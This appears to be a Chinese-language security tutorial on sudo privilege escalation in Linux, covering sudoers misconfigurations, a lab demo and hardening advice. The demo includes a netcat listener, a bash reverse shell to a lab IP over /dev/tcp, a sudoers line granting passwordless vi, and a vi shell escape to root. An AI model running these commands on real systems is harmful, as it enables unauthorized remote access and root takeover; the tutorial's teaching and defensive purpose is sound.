sudo 是 Linux 中常用的特权管理工具,允许普通用户以其他用户(通常是 root 用户)的身份运行命令。如果配置不当,攻击者可能通过滥用 sudo 权限来提升自己的权限。
一.常见的 sudo 提权方法:
-
误配置的 sudo 权限:如果 sudo 配置文件 /etc/sudoers 中允许普通用户以某个身份执行不受限制的命令(如 sudo 运行某些脚本、程序或命令),攻击者可以执行这些命令来获得 root 权限。
- 例如,如果配置了 ALL=(ALL) NOPASSWD: ALL,那么该用户可以无需密码地运行任何命令。
-
命令注入漏洞:如果 sudo 配置文件中允许用户执行某些脚本或程序,而这些程序本身存在注入漏洞,攻击者可以在执行时注入恶意命令,进而提权。
-
利用 sudo 执行恶意脚本:攻击者可以通过恶意的环境变量、输入重定向、命令替换等技巧绕过 sudo 限制,执行任意命令。
二.漏洞示例
A.获取靶机shell
-
攻击机监听端口
- 命令:nc -nvlp 7771
-
-
目标主机反向连接
- 命令:bash -i >& /dev/tcp/192.168.13.130/7771 0>&1
-
-
连接成功,获取shell
-
B.赋予权限(提权条件)
-
命令:echo "vultop ALL=(ALL:ALL) NOPASSWD:/usr/bin/vi" >> /etc/sudoers
- PS:赋予用户可以无密码使用 sudo 来执行 vi 命令的权限。
-
C.利用 vi 启动一个shell
-
命令:sudo vi -c ':!/bin/sh' /dev/null
- PS:使用vi 启动并立即执行 :! /bin/sh 命令,从而启动一个新的 shell 会话。又因为命令是通过 sudo 执行的,所以这个 shell 会话将具有 root 权限。
-
3.防御措施
-
最小化 sudo 权限
- 仅授予用户执行特定命令的权限。
- 避免使用 NOPASSWD,确保需要密码验证。
-
限制命令执行:在 sudoers 文件中限制用户可执行的命令路径,防止不必要的命令执行。
-
禁止滥用命令:禁止通过 sudo 执行 vi、nano 等可能被用来启动 shell 的命令。
-
审计和日志记录:启用 sudo 操作日志记录,定期检查日志文件(如 /var/log/auth.log)。
-
sudo cat /var/log/auth.log | grep sudo
-
-
使用 visudo 编辑 sudoers:使用 visudo 进行安全编辑,防止手动修改时引入语法错误。
-
sudo visudo
-
-
限制敏感文件访问:限制对关键文件的写权限,如 /etc/sudoers 和 /etc/passwd,防止未授权修改。
-
sudo chmod 440 /etc/sudoers
-
-
定期审查用户权限:定期检查 sudo 权限,删除不再需要的权限,确保只授权必要的用户。
-
sudo visudo # 删除不再需要的用户权限
-